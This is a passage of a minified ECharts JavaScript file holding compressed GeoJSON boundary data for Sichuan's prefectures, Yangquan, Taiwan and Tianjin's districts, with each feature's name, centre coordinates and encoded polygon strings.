UX@VkLV`@n±KU„ULƒ‚UnVVńUbÇKmV—Imbm@k¼ó@Ul™b@VmV@bXmaƒK@›UUxkV‚V@„xW„UxVnkVVJ@XnJ@XlV²LƂVbnL@lš@°"],encodeOffsets:[[114503,39134]]}},{type:"Feature",id:"1403",properties:{name:"阳泉市",cp:[113.4778,38.0951],childNum:3},geometry:{type:"Polygon",coordinates:["@@°@nb„@lb@b„b„b‚@„x²al@lb„KXU@m‚kUWkkmUUƒVwV@XUW@™naVklKXblKnL‚ƒnLVanImaXKlL„ašV@U@KUKW„alƒXK@£WKXUV@VU„ƒUUVW„_V™@W@@K„@šƒUƒƒIWmXUmƒULƒn™JkImmÝaUbLƒK@UƒWk@mn™Uƒ@kVWb@Ubmx@lƒzUxƒ`U„ULml@„XWlƒ@UV@nk@U‚Vb@X™Jm™@@Vknƒyk@ƒzƒJƒnUV@bk@mJ@b°Ò°zXVlVXx‚@šbXVmnVbUlVb"],encodeOffsets:[[115864,39336]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/si_chuan_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"5133",properties:{name:"甘孜藏族自治州",cp:[99.9207,31.0803],childNum:18},geometry:{type:"Polygon",coordinates:["@@ƒaXamƒ¯wm@±°wUwV@UaVw²Kš™„U@UƒU„¥‚a„ƒ@£Þ™ôx‚Knkm™X¥™IUƒÝUwlk°V„@ƒÈ™‚KUwlkUyV¹„mšx²Xll„ÑW»š„l„w°UŎ„nƒ„„˜Jœƒl¯°V@wôIVÇn™nUllšLšVǚLô¼XW£@±„@¥k_ÇJƒkUéƒkšƒƒwXa@ƒšLlw²™Vx„b‚mš¼ÈxlLȃ„VWÞn¯mǙÑUÝlÛkwlĉmƒULmwUJ™ç@wkm@ÑlUX™ƒÑôġƒVa™ƒUф¯@wķÓkbV„mnU@@y¯IķKƒV@¹šaƒé@k„mÞU°¥@a¯@anKlblU„¥@óğç@Çw@wkla„çݱk¯±@ğÝUÛmݯwƒ@kb±¯akXWÜkXUÆÇUš¤X_Ɛw„V@¤ƒXU‚ƒbUƒŽƒIUlÇUkŽġ@™aXČmlUlèUV@„mVk¦Vxš@¦±š¯ƒƒ¯¯anlWš¯nƒƒÅw@w°KVak£m@klƒKknÇU™»óKšīlaUaV£@™™¯@ƙU™VƒÛÝÇXƒÇl—ÓlŹ„»WUğJ¯£mx™Lĵô›ºX„VlUll²bl„„lŽƒxónn°ÝšU¼mJUš¯nƒƒƒV@êĉ°Uĸ™w™@mƒ@¯kmXamѯaUwÝKU¥„mÅn¥Wmn™ƒ¹n±ƑƆÇôXê±NJnšƒ‚UôlĖkȂVÒ¯¼VnƒȮ¯ĀnƆ˜Ģ@Žk°V°¯ĢVlkšVxm¼X²™Ŏ@ŽVxknWܰU‚¯n™ÆÝœ@`„ôݲÒƒ‚Çzn‚mX@x„è°K°Å„UČĬóĖ݄ƒ˜ó¼ÅêƒÒƒbmšk@V„Ž˜„@ҁl@nĉܛê—x@Ėml՛J¯¦óxȭ°ÝmޝLĵè›Ā@Ɓ„l°żƒ‚šX@xmŽkV@z@‚„°blŽnÞ°J@bn@ƼUVƒUóŽóLƒ°X°ÝLƒxUn„°ƒĬƒn@lnL@ŽÆ@šn„KÆxnUnV˜InĬmÆnxŎ¼ĊIĢóÞ@ĊƒƨbUƒ‚mV¥lkƒ‚wnL„mšÅÆ¥Xƒ˜wU@w‚wUÞ™@alUUŚU™Vkkm°aU—°Ó°w°U„ƒ„b°aš²K˜¯œĕ˜@ÈbޏĊaš»„XVm°In„‚Ĭk¼Vb„ašJšôš£VĊan™‚k„ů™™nƒÜU@anKnĮ‚bÈmƎš»nI‚霣Ġ™"],encodeOffsets:[[103073,33295]]}},{type:"Feature",id:"5132",properties:{name:"阿坝藏族羌族自治州",cp:[102.4805,32.4536],childNum:13},geometry:{type:"Polygon",coordinates:["@@l@@þ²I@lƒ„VL°wnJ°Uĸ™Ŏè„Ilw„V°¤nĮ™¤Ý„lè„L@„ƒ„@x„l™è²ôĊ_ĊġVÈôJżīlbXšÆÈVŽkxÇVƒ„n°„¦Üb@è@nn@@°šUÈ¥WDŽ_Uala¯¯UǙkƒ»„mVwk»˜k²°VxlL@¤œ_@x‚`ȍ‚Ėöb˜š@l²alX„a@bnK°¦VK@nnWmx@nUnl@@lƒlĉk°l°UXkmW@Unš`k„ÇL„ŽW„ÛÈVxšVVlVk@l„IXb@ylXÈW˜Į„WŤzœy@šmIƒŽ²šJ‚š@nް@V„„J°a„Å@ƒŎkVǚk™aUw„KVw™™Vƒ„@nkm™@±ôkô™ĊJš¼šInÑm±nIššÞ‚XȃĊxĊUÈbÜyÈ£Vkw@kVUV™„m@ša„»ÜbÈmƒUXwÝxƒUn¥@°ġ™Å‚aœJVk™aW¯Û@W¥—UŏĶ™@¯kUƒŃ@ašI@mmanwސ‚W@œ™mw°»Uřk¹±W„xVx¯¦U°ƒzţW™w@°ÇVÑk¯@„y°aš£š@šmšnl¼„ašÝÝakwUƒ±aĉImlĵn@ƒm@kkVƒ¯Ñm™ĸ™°x„l™œ@˜ƒXVÞmlÛݙĉUÅ¥mwÅ¥VaUw›™XġċaVůÛŹlwU¯U™ó±™xÛV±¯¯n¯mċƒLmnĊm‚™@™_kJWaXmwUƒĉK™»™@mwX݃UDŽkKÇw™»nƒaUw±škx™K@„Wb„x™„„lVê„lÈIl`@¦ƒŽ@²X¤Wó»™KUșŽ™KkkmVmšUÈóJ@x¯Uk°›„—Iƒƒm„ōƒ¯Vƒxƒk™ŽX¼ƒÒkk±W™wƒnUºVzklVxLǚ@„ƒŽ¯UklVxސV„šJW¦nšmlLówݚ@¤ƒ„bƒ¦„V@VƒV™š±LUxVbU@Vx¯x@²n‚°xn„Wb„b"],encodeOffsets:[[103073,33295]]}},{type:"Feature",id:"5134",properties:{name:"凉山彝族自治州",cp:[101.9641,27.6746],childNum:17},geometry:{type:"Polygon",coordinates:["@@ĶóšKnw°¤ĠIXVƒ¼kź˜Ôk‚„ÈWŽÞȄÜUVšÅš°@šš‚@U¤Vbkb™ĬôLš¼ÈVlm„Llkn@l¤Ub¯L@xÆx„„°mX™mk°b„°°„²™@¥‚™Uwl¥nU@ƒVUkçVnkWċšbĢ@lÈVVk„J„‚V„aV„W@£ƒUƏxW`™£ÈVVÅlWXÛlW°b²la„@°xnÞVÜĠÞ²@l°Þ²ƒèkblŽ@xÈx@Ġènal£nU‚Dz@‚ÞK„nn¤@¼˜°U¼„nV‚šXU‚šbn™ĠUVbUlVš°LX„@lV„èÜUnK@_ƒyXVyUwmIU»Vƒ„kÇ¥šÿkkV¯m±n@ƒn¯ÜanVVƄz@Ž‚bœwÜb„m@wša@kƒmk»@™a@VUUó„w˜@nb°mš„XŽmnVbގVôanwšJ‚ak£lw„˜šLšÅnÝ@wl¥IÇӃ@U™™Lƒ¼kVǃÅó¯kVmmw@ƒn_‚Vn»°LÅ»@éÇçŹīVÇÝ@ÝğU™ƒaVݙ™š¯ķlŭġlƒ@óÞۂċ@¯nkUӄ—m±™IVġUwóKUn±¯—K›w»ƒKݐV„nl@„óxUwţ›£ĉƒUmŗÇ݃K™„ÝUlmKƒ£UVŽ@ÞȎW¦„Ò@Ĭšnny‚@nÒmœVŽ—¼@°Vbl@VlnUUwl™°a@„œ„@llnk°lbnKWĀnŽU„VxUŽ‚²Å‚m¦Û›ÇڃaU„Vbš@¦m`móX™Umm™xÅ@±Þn虲™U¯»m™ƒV—m@wƒU@wݚÝmLƒa@„™VÇUk„l°¯„VlkVƒ¦UšmxƒaULUèVx@„kIUxmWV¼¯VmȯšU„nl›È—@m»Å™ƒVWxÅbÅğW@kƒm@kVV¦mlnn@‚ō„l¦Åƙxkœ"],encodeOffsets:[[102466,28756]]}},{type:"Feature",id:"5107",properties:{name:"绵阳市",cp:[104.7327,31.8713],childNum:8},geometry:{type:"Polygon",coordinates:["@@„ńlV°š@Őĵ˜VX»ÆUĊќJ‚w„@È»m»š£°Kšk@ÇnÑÆš@„w°JUwnw@wšbVbš@VlźLUw„aƒ»„aUklyUUVakwWXwWƒUxkLƒmn¥mšwk™˜UX™lJ„w@aƒIk°X„¥Wƒ²l¥šaU™„IlmkklƒÈL@m°nlWU™aW—š@Vƒ„@UaV¥@ašk@Çk¹ƒK@a™K@kƒKkšÇX@VU@kx±V™èkIWwUVUkkKÇ@ƒa@wkml¯@kUWn£Wa„aVwnaV݃w¯@UaWx—n›JńUxUšma@L@„mbUށU±VVnkxUƙ„VŽm@kkKW°„X@¤ÇUkÆÇnU¦¯ŽkƒmLVwÅK@UóbÇÆVƒ¦™L@‚±êX¦mVޚkÜÝnWU—„›@kšƒŽ¯wķšnš°ÒU„lln@@„ĶmnkĊJ²bV„lxÞb™Þƒbk»™m™n™@™¤¯bƒz@Žl°UÒ¯È@ŽšxŤX„yV¯°¥Uwƒw²XlºVڝ¼nx›š@ށXݏmxnb@n™J@b"],encodeOffsets:[[106448,33694]]}},{type:"Feature",id:"5117",properties:{name:"达州市",cp:[107.6111,31.333],childNum:7},geometry:{type:"Polygon",coordinates:["@@Uxn°‚bnŽlUnÒÆƒnn@n‚¤„LnxlU„ššV@„Æl„x°XXxl`XœƒVW‚œL˜è—„±nÈbƒŽ°b@š²x°Kܼ°ĉ„V¦lJnU@¦šÞ‚JÞğ„mšLÞ»šxU„lb„VÆann„alŽ„VƍX@lnŎV„mU™maÅXƒa@aWmœ@‚£@wĉJVƒkk‚kkmƒnk@ƒmna@šal„Kš™‚J@Þwm‚ÅŃ@ambkUƒƒ@™™KUġKU@m‚ak¯±ƒ„a@aĉÑÅaVwšXlwƒ±—V¥l@@a™kƒ›@@£šmƒĉÝónWV@ށnÝÇÇx—UmbƒaVkkk@m„@m°ƒÝýXm›akÅīƒ@@ƒmb@@xmšnbƒ@mxšŽkWL@ƒ¯b@WUXmWœWKkbm@kx™Xmm@LUl„xlêóK™nUš„all™LƒlLó°m¯JVšU„K„„@x˜K²Āô¦l°"],encodeOffsets:[[109519,31917]]}},{type:"Feature",id:"5108",properties:{name:"广元市",cp:[105.6885,32.2284],childNum:5},geometry:{type:"Polygon",coordinates:["@@ÆL„Ċx°»Ŧ¦˜W„™šLȄ@xÞKܰÞnVxÅĀlÒnJ°a@w„V¯l@XWknKnw˜VȚ°XXa˜lX°VI°b„W„nšaššš¥@ƒw°™n@šyÆ@nkÞ@°¯lJn„°IÈl‚UšlXÅ@ķlUV¥VUUÝޙUUƒ@UwƒJUkĉm@ýƒƒlk™WUwVwWJk@VUK™lUkaVƒUƒmLk„m@ƒƒ@Uƒ›Ik`@„™UmlUkV¯ÇXKÝ_mm¯@Uƒ`kwmƒl¼±KV¯—¯Vk±Vk±kzma™KUnDZ™bk¦±ŽX„ƒ¦¯Wl„J@bƒxkIWš—Vlš™xnŽm¦„nlKVwX„WxXŽlxUbVVkzVlƒb„¼ƒbVxŹKUk™@Ua™a@xmxVx¯Iƒx™@ŎmÒ@șl¯L™¤n¼"],encodeOffsets:[[107146,33452]]}},{type:"Feature",id:"5118",properties:{name:"雅安市",cp:[102.6672,29.8938],childNum:8},geometry:{type:"Polygon",coordinates:["@@ln@xšèVInxVKn„‚ĊklxkÜVޚÒnÈm°nxš@š¼ĊLV„nx‚WXblIš`š@nmĉn‚KȄôÅlUÑmU„K²¹@ÇÅVÓůVýÞW„‚UVmX„ÆbnwšKUÿ‚™@UmmIUb¯¥Uwƒ™¯™Çmš™„çmanUm»UUƒl—kƒ¤ƒa¯bV™U_WĕmÇŚ±ĢUlƒUl™ÛVƒçkUƒ@WޝKU™VkUağVmš™aV™WUƒmV»—¯@»m£ƒmÝLŽ±@ÈmVk¤mb@ôƒ¦kVkamL@b°‚@b¯¦ÝVƒn@l„ê™b@º„UĸL°J@zV@nmUƒlaĸÔ@xƒ°VҚ„Ub„‚óĢ„ÒWškV@Ò"],encodeOffsets:[[104727,30797]]}},{type:"Feature",id:"5115",properties:{name:"宜宾市",cp:[104.6558,28.548],childNum:10},geometry:{type:"Polygon",coordinates:["@@VlÈnl‚XnWLX`m„²nV‚@b°xĢçlnšVm‚nn„@@„°‚UzšlV°nޘÒkxl„w„`UnVb„mšL@albÞKÈۚmܼ°@Xǚ@wmW@ńKĊL„lV„šLVŎçÞL²±‚ğkw@Uƒy@¹lKX™lKVa@w™™Č@‚w@a˜ÇU¯n™@@wġak—™aō‚ƒƒK@Å»VakUWmķwkbğ¥mL™akš™@ġރ°¯xVVÞ@VšxVš—VWx„XlxU‚™@k²WVŃULmèULVĊklĠ„VœJVx±nѝ¦mwğ@mƒƒlğkkl±@kšUk@¯±Ç™Kƒ—kxl¤b™Imx"],encodeOffsets:[[106099,29279]]}},{type:"Feature",id:"5111",properties:{name:"乐山市",cp:[103.5791,29.1742],childNum:9},geometry:{type:"Polygon",coordinates:["@@kšVŽk„ššÆkšV²UlºÈIlxƒLXèÜlU„„XU‚mkƒbVè„x°@„@¼°Knnn@m˜ÆIUbnJ@bVI°b°±@nK@mVakkƒKl¯nbšmĸ„èl@VnÈl‚UUw„wmwnm°¥„L„™lLnU@Va™ImbkƒmK„ƒƒnk@mƒb™ƒƒLV„JVUUƒ„VnkVmb@a¯JUaÆkk¥„IW¥„Klw—ÑmÝU¯™kVy¯@ƒƒ@mmn™Ukmġè¯w@aU±mnƒW_XKWmkÇmUkóbUÝUanmW™ƒ¯nma—@ƒxVôUV@šb@‚l¼„n@l™b@xƒnÛa›xa@ƒyUÅmUÛbm°@„m‚n²U°ll™ĀȦƒlU„V¼nJVxUz‚W„z@`mL"],encodeOffsets:[[105480,29993]]}},{type:"Feature",id:"5113",properties:{name:"南充市",cp:[106.2048,31.1517],childNum:7},geometry:{type:"Polygon",coordinates:["@@ȲVmšLnblyl²²UUl˜°U°²L‚»„knlx„_Vް@nnÞ`WL°ÈUŽVlnkšV@ƒl_œJV„‚@„„n@lƒnKV£™Çšƒ„UV¯šm„@laX˜U„‚UbVx„@VkôJU°Jn™@™‚wUk°wnUƒV_nJmknmm¯Vwk¯ó¥±ÿ—L@wƒƒƒLVU™kU›bX¯mykI@a±Kk¦ULmaXƒƒVm¯ƒK—z±ƒklUIVbÇJšƒkL¯™l™ƒU™ÿ™UƒlUkJƒUmŽUUkVVklKk@@a™U@„™J„²ƒxƒ¦kĬ@¼±ºXnWb—xƒU@xƒx@lšL@b„Llº@șl@bU¦Vbƒ@U„™@X˜‚bVškX¯m@nÇKk„llknƒJVš"],encodeOffsets:[[107989,32282]]}},{type:"Feature",id:"5119",properties:{name:"巴中市",cp:[107.0618,31.9977],childNum:4},geometry:{type:"Polygon",coordinates:["@@V„U„lbkVšŽVLUŽl@XI‚ŽUxVxšXkl„„@þĊnVl„IVx„@VVݚVÞUVU¦kV@ĸWÆô²š@VÞnš@Vaôb²W@‚K@XUmÑUW°¯°Ina@y„_lWn¼lLUbô¼„Kla@™nkUyô—Æx°@šn£™Ý@¥mVkIU¥Ċƒ‚¯Û»¯L±w@™¯a„Ça²m˜ƒ—ç›KX„UW›k_Ww¯WƒwÅk@ƒ™Uƒ™kVmwƒK£@mmmńmÑkVmamnnlmIU`V„m¯xVlx@šmš¯IV‚óIUlƒ@UwVaƒ—VW‚kbƒ@™nU°ƒV™„šÈU¤"],encodeOffsets:[[108957,32569]]}},{type:"Feature",id:"5105",properties:{name:"泸州市",cp:[105.4578,28.493],childNum:5},geometry:{type:"Polygon",coordinates:["@@VVXwVKn„˜wnVƒn„l@b¯xmKUbVn°°X°@blLšènV„@Vn‚l@U„LnmmUna„VV_ĶV@wnJ„„l@@kkKVólaUwnJm„wUlm@ašUaôKVnJWbޚ@VšwVLX¥VVš_Þ`šw„WƒÞŹmmnIn¥Wƒ@k„WV¯@ƒ°kI™ŽƒLk¼Ç@k¤±Xk˜™nmݯUlÅÛKWV¯kƒlUwkLƒÓ™@U—@ƒ‚w@ġXV„˜WX„š@UbVbšV›š_kÇV™lU°lnwŎ¦ÞaƯnmm¯šU„™m¥nkVmkƒl_ó¥¯UÇl¯@™ƒ™L™kƒ`¯ķLUy¯@mw—¼ķ°ġ_řU°mlšnÇVUޚ„@‚ƒš_ƒJUnV‚UXšbl˜Ģb@x@mšV°—È‚b@‚xċ@šš@xUbkLWškL@º„zV‚@lxĠ±²"],encodeOffsets:[[107674,29639]]}},{type:"Feature",id:"5101",properties:{name:"成都市",cp:[103.9526,30.7617],childNum:11},geometry:{type:"Polygon",coordinates:["@@°n°m²°ÜUšw²ŽôVš°ŽVkxÜźUŰČb‚ŽĢlaÈL„»ƒ@k„wVǂ@„ƒnÛÆ»È™UݰKl_„V°Uš`Vbn@VbÈLšaVU@ƨ»V™nIl™šUUa„±lIk±š@VnKmÅ@WaƒK¦™lVōškK™Ý@maXÇmw¯IU‚@kƒVƒwUmVIƒƒƒç—ÿƒU±ŽÅ@¯È@xƒK@wƒLUbÇKō@mÝ£@yóUóóUxkI@WlIUaƒbƒaŽVĀ™LmxÅaWƒUnVƒÝXUþưUÔÈÆ@±ºƒLnVVÒkóÆ"],encodeOffsets:[[105492,31534]]}},{type:"Feature",id:"5120",properties:{name:"资阳市",cp:[104.9744,30.1575],childNum:4},geometry:{type:"Polygon",coordinates:["@@„è„„UJVn„x„U@lV°JnxWÈnbÞ@šŽlLŎ™Ušk‚¥„LXbÆ@nŽmLU‚@zlbXmlnVynL„çšJVb‚UnómUnamU„an¥lKV_²aValWô„n@nƒ‚bVœK°¯VblW@kkƒlUnlV£°W@w„UXk°KVwƒmVkwVyVI@wkmƒVÅ_Umm@Uÿmbk£™xUaVw±V¼V¤kLWxU@Uk™bƒyƒXšómƒ°V@@zÝÒkKƒn™±U@@_VVkƒÇaVwnLWalm@@kkVVl™¦kIV`±n@w„Kƒƒk²™aƒVUUV¤™nkxmUkVWVnLUbVbƒ`kUU„mLU‚mX@`ÅbǚXbWLXŽ›n"],encodeOffsets:[[106695,31062]]}},{type:"Feature",id:"5104",properties:{name:"攀枝花市",cp:[101.6895,26.7133],childNum:3},geometry:{type:"Polygon",coordinates:["@@„b‚KÞnޙ@x„V@x˜n„Unš°¼šVš±mç²ÝÆ@šwnnšVWŽnôn_@¥‚™UaVƒ„bƙœÈ܎n¥Æ±VUwVƒmXÿmLkal¯km@k›ƒ@ƒ¯bkšVxmVUkk@Ua@¯˜»Un›mс@mz™m@īƒÑX¥Ç@ݙxU¦ƒšÅŽÇUkx@šlb„UWVX„mV@xĵ˱@@ޝxUšÆLnÆm„šx@nXL±lUUVwKWak@WxkbšÞƒŽĉbUn@‚ƒ@@xó¦„Ŏ"],encodeOffsets:[[103602,27816]]}},{type:"Feature",id:"5114",properties:{name:"眉山市",cp:[103.8098,30.0146],childNum:6},geometry:{type:"Polygon",coordinates:["@@„šVx°¦VanJVnš@„b„aVbkJ@XlJVwôôôV@zÞ¤@nƎÈLVa„K@x„L@w°ÇÆ@²„V˜ĀœmWXKWașÆa@_nWVnKVƒlV„_UaVamKXUWwnmmwœÑm£@ynUƒkWƒĉUkWVkkV±çkJmkKƒšƒK¯¦mnnxƒxVxVÇkUmk@ƒçķ™nmak°„LllUb@nmL@‚¯²¯aUJ@amIVaÅJn—m@mm¯L@»ƒŽ¯@ƒwUç„anlVƒWVƒÛkWç„KkwÇJk¹±V™UÅl™™ġV™²ÈƂnXĖV`Uš°a„b„£˜l„kVVn¼mVnbƒè™šÈn°š"],encodeOffsets:[[105683,30685]]}},{type:"Feature",id:"5116",properties:{name:"广安市",cp:[106.6333,30.4376],childNum:5},geometry:{type:"Polygon",coordinates:["@@„VlIV‚„kšVšĀ„Vkš°šlK™„ÈIUaVJlk²„˜y„Ln°„UW„nbVKl¥²L@blJnzW°œalV°Inô¯‚K„kšKkkƒbV™šmôLkéƒwVk@KnnšWlwn@laXL›ŽnXVW@X°a@„XKl™nw„@man™@w‚@na@„„@ƒw™ĕġġ™wUkUWb@mk@™¦ƒ¥mUÛb±yÅn@bml@kV@„ƒlknVbmVnlmš—bÇk¯bWyk@V_UamJ@I—@WaƒVXamIVWkUkbVaƒUUxƒ@VnkVU¼›bkKUxmK™„@WšƒxnV@n"],encodeOffsets:[[108518,31208]]}},{type:"Feature",id:"5106",properties:{name:"德阳市",cp:[104.48,31.1133],childNum:6},geometry:{type:"Polygon",coordinates:["@@nUW¥²é@šK„¥‚UÈÅôa@VÆLUxnKl„°V¥ÈmlÅÈV@£ƒWX¯lLln@UšƒVÅlwUm²U‚VVna@ƒ@KnbV™VwƃœI˜mXwWƒkIVwÝĕVUa™IƒèmKUzkmWnka@y™@l²kJƒ²Vb™VkšmJUšƧ¼@UV™bÇKUam@Ua™_¯VƒUk`¯LVÞǚżm܃„@Uȃx@l„ƒ¼ÇKkbWŽœšVxUbƦnxƦĊV"],encodeOffsets:[[106594,32457]]}},{type:"Feature",id:"5110",properties:{name:"内江市",cp:[104.8535,29.6136],childNum:4},geometry:{type:"Polygon",coordinates:["@@²èlUUllXĊVX„„lmV@zn¤›ÒnxmnXxlUnVlwšmU£VV„Ušbl±„„ƒL@x²mU_lJš¥UklU@ln@‚kXbmKUxÈbl„UU@`V@š²„mlLÞÑ@yU@„¯ôn‚™„W„zšaVlV@XwlKU£‚»—aVaUwm@mwUVUwkƒlVDzLlƒ„KV™m_@ykUmƒ@mU™çkKmxkIU‚Ý„@LUJ@n±„kº‚LXb™¼@mmIXa™@mamnkW™ƒKUƒƒxƒ_U`UklwUw™mUbƒV™²ƒakbƒmkn@`„UmҙšVxUb™I™`UƒaÝÈ"],encodeOffsets:[[106774,30342]]}},{type:"Feature",id:"5109",properties:{name:"遂宁市",cp:[105.5347,30.6683],childNum:4},geometry:{type:"Polygon",coordinates:["@@ÞĖUxlJX„Vb°@„xUÞmbUxƒbXbm¤VX@lk°ln@x„bÈ@lLVlVUXxlJšç²UlwV@@UÈWl™„L„w@w„V˜wXaWm²¹@»lī„¥„wƒ±šI@ƒšV@bl@kLUllUVVn@mmU„wX™ċbVb@VUkbmamšW@kƒa@™™k@ƒlaUa™@¯b@šmmwó@@lkXUa¯°›LU‚am„m@óƒkXUb±bU`kLm¦ƒbnVmbnVmô"],encodeOffsets:[[107595,31270]]}},{type:"Feature",id:"5103",properties:{name:"自贡市",cp:[104.6667,29.2786],childNum:3},geometry:{type:"Polygon",coordinates:["@@lIÞDŽbVŽš_šJVaUwš™nуV@_lm„nla„bš±„UVašnVxkxVlV_„`„wV„„LšlXnmnbš@WbnJ@nš»WaKl¹²ƒ@mVI@KރVlJnw@aW¯¯¯UmVanL°w@aƒk„mmU—xmƒULWxUUÝKōèU™KUƒƒkĉKƒL@ÆnX@x™‚Wȯ@Û»™nÇÜÝLka@b™KƒnUaVmƒ_ƒxkƒLX¦ƒJl¦ÅlVb°I@bnaUŽmlƒUV„UVƒIUŽ„Kš„„a@nml„„ƒŽnLl„našJUbV@"],encodeOffsets:[[106752,30347]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/tai_wan_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"7100",properties:{name:"台湾",cp:[121.0295,23.6082],childNum:1},geometry:{type:"Polygon",coordinates:["@@\\sŽ@pS}aekgKSu™SsMß`¡CqZ·be@Q^o@‹gieMp‹‰]}•}Ľc_Kk…{™ù“A¡r‰[uom@эĥJiq©mʼnq¯Bq]ÙYgSåk_gwU­isTE…“‘ĕiqiUEkue_‰OSsZ‹aWKo¡­q“ycY£w}‹ĩ™ĕS§Z©S™N¥SyLÑ¡±Ks^IY‰PdƒY[Uo†Fp}´\\¬\\j]ˆe܍ò‹¤¡–ā a\\bn™U㺹Ìs¼j®[cíȈEŽĝĆ`ļf¶Š®K|VØDdKGpVnU‚FjpH—F`†B’[pMºxÖjbpÎxp€¬‚|ΟÜÒCв®‚ÜAp„ZG~€Šd˜ÞàV¨|¸€`|Œ²tx~\\~|dFf^zG€ĄŚhœdL\\hĸž¼†ŠOªP®lV`p\\]Xpll˜æ¤œCpQ|oF}fMRi†NSon_²qämœM„NM‹\\•"],encodeOffsets:[[124853,25650]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/tian_jin_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"120225",properties:{name:"蓟县",cp:[117.4672,40.004],childNum:1},geometry:{type:"Polygon",coordinates:["@@EUDAEI@WNMNCBFAHFFNACDJDPBD@@GD@DIFFHEFGDBDEQOFG@EI_KG@OcJQM]RMEKBGPG@[LaCIICBWKCEEG@WBQHCDFD@HSLEJI@IHWECFGAAEKCGDBFCBSBIDCKKHEADMJMFABKOKEQAA@IEEG@GIQAEK@OZEESMOL“lu@SLUTYFQCMG@@SQUAYKAACA@IB@BDB@B@DC@@BGAEFAA@BEGKJCC@AGAIHA@@JC@QEIP@@A@EGIDC@O@C@@@@CJCWKABFLBBEBSQGBAAMIEM@AKBcJEN@BEBCFMAEFEF@J@BG@BFABECKFG@AFQ@@F@BEB@@A@@AAAKAE@GFGDECEFEECBKIKDELDFEDYH@EIACDCHKBEB@BAAC@ADBHABKJIAIJICEDGDCD@@A@A@DHCHJHDFEFGBKRKBGIK@GIMHSBCH_BOJECCJCFKKMD@DNJEDEGC@OJCJHRUL@HRJ@H[DCNKDZHCTFDHCFFKR`TANVDFZRDLFARB@HPAPG`ILAR@TERNDFNHDLCLDDCXDYbHF@FEB@LDDVE@JPNfXPINCVDJJD@NJPAJHLXHDNANHhB@DPNLRMTBFRBHHr@`NBFEBOCCBIAQJDHCHLHFA@HSDCRLFTB@HEFLNF@PELBDJALFLTC@EPFLLP@tUHQJDfIHGTB^JTCPDLKAIBATFPADIEGECEMJ@JIAIHGECFEAGDI\\SPOXAFCL@BQTQBBTMZECYGAHA@GJAE@HCAEME@IECFKJADDBABLTHHG@ILEAMNDJCDHEBF@@JNFJELDFKTOT@JETBFFHBHEHKI@@IJEJ@XKEOUMS@AF@CEB"],encodeOffsets:[[120575,41009]]}},{type:"Feature",id:"120114",properties:{name:"武清区",cp:[117.0621,39.4121],childNum:1},geometry:{type:"Polygon",coordinates:["@@FWôµ@IFCLIB@EHNBp]AGEAKAEDMGZKFGBGME@ILGP@HEFB@BXMEAHUGC@IHCLOD@X[NWHWPKAEF[@EKIOL@EKGBNMJ@EIEHKBIC@BAKMIACCFQZCF]DB@ERAKADIHGEIBCGIIECFaGLZO@EFCNGAGDGAKL@BMG@IE@ADSDEH[JGC@CGA@BMDeK@EIACFE@@GG@FIAMM@CCGC@EM@ADE@CFMAAGHBDKIEAJG@DOGCDEKAGIS@KFCHKAEHIE]BeKNO[IFIOELC@A]GMBKVYCDDgGAICARc@MW@AQE@DGI@@AQ@@BKBAIQQYEFW@CEADIGGBCEIiMEMF_LGEKMBBDWEBGRC@E_CHYGCH_IAED@FFBQh@FGJaJ}AHRAREF@bE\\C@CT`FHC@\\BBF@BID@HGDDJ@@FAHKBARECKDAZBJIVNHCTA@EREAMLHDAFFBVFFC@RNRETHD@FOJMACH@CAB@P@DF@@FGDWE@FFSIEMKQDYCCHKb^JADOCIDGNDBdBCFJB@EC\\A@BJEA@JAAAD@HHD@LFBCFF@BERDHNhZQHMBGHOACCEBWEGD@PSJKCGEUD@CINLFGHE@AJK@HDABBHTB@F`DBFLBBHEDARCFG@ABJBAPVFE^FBGLGCFG_BMLEXGAAFE@@JNRVJHFALFBEHQJCTbNDHCF@PlFLJSXCHFHfVBTNJ\\BPJXC^FAVNFCHFB@FFH@JF@\\ABCFD\\BDMCAAJKQBGAILOEGHILECQLWFENJHADC@QxNHFJNLDFA@CBA@D˜UÂmR@FBL@BD"],encodeOffsets:[[119959,40574]]}},{type:"Feature",id:"120115",properties:{name:"宝坻区",cp:[117.4274,39.5913],childNum:1},geometry:{type:"Polygon",coordinates:["@@TZbB@JHD@DODCLM@AP@LL@BNH@ETFN@`E@DNG@CHLBCJA@AICFKDDBKA@\\N@AFNAGRBFjFFFL@DHLBLFQPcXAZMJ]GAVHAIZJFNE@JpDRRDCLFDGXA@EFF@CFFPDfEBDB@DCHCFCJDJIJBLI@I@CB@@ADBB@FALADGDC@@H@BB@FZGFCCE@@FMLALJDAFFFEFDFCB@@AHCF@L@@BBB@BB@FC@E@@R@BEL@HEFD@G@AH@AIB@@@FEFEBALDDEFAFO^IF@JCBBFPNJJ@D@PRDCEKBAXL@BIFD@T@JE@BHHJORFDI@@B@JGH@@B@BDDLIFFHCD@D@DEE@BAAAB@DAF@B@H@NGLJLMRDNMfGIEPMI@GDAKK@KIDIJ@GE@CFDN@FE@GFEPGV@TCDFKHBBF@RW@DD@@ID@TJFKIKLI@EP@IGBCLAEKLEN@KSHIGYACSD@SEAMBBMGEBMQBCMIGKFB[D@HDLPHDBC@IFITDLG@IIIFGVBNJDLN@VIRI@YIAIHIC@CLKZCBEE@JECEIHEAKGDGECBGEEM@@DA@CCCBBEGA[GEDBBoNAAH]MKiIAWKQoIIPMFQAEEDMH@FMSUYIeF@EK@BIOEKJEBICFKaKPFAFSE@LWCCFMHDDEKESBOGBKIEIODLG@CCDEQCEDWEMDIEIB@EHGEEDAEAa@@HqDEJGF[AECCFa@WCEIKAAEQB@FCAE^YDERDDJBLNABD@AJGLJF@FNIAMLH@FPKLJ@FE\\BFOLGXMXW\\C@KPGD@JHDGVFBWN@AEAGFO@KH@JNFAHEHYLNHFCLBFBBHo^MAFGA@KJED@Jó¶EX"],encodeOffsets:[[119959,40574]]}},{type:"Feature",id:"120223",properties:{name:"静海县",cp:[116.9824,38.8312],childNum:1},geometry:{type:"Polygon",coordinates:["@@NGFMDATCNDR@CCbINEHNJA@C\\EEGVE@IhE–[˜w”epc¢·²›^QEKIEKIgiQDkehY£uSDBMkUDOJDHC@GF@CAFBFEN@C‹Q@BeP@@G@HD@@MHQKi@[IGCOCESE@GMA_OcCGD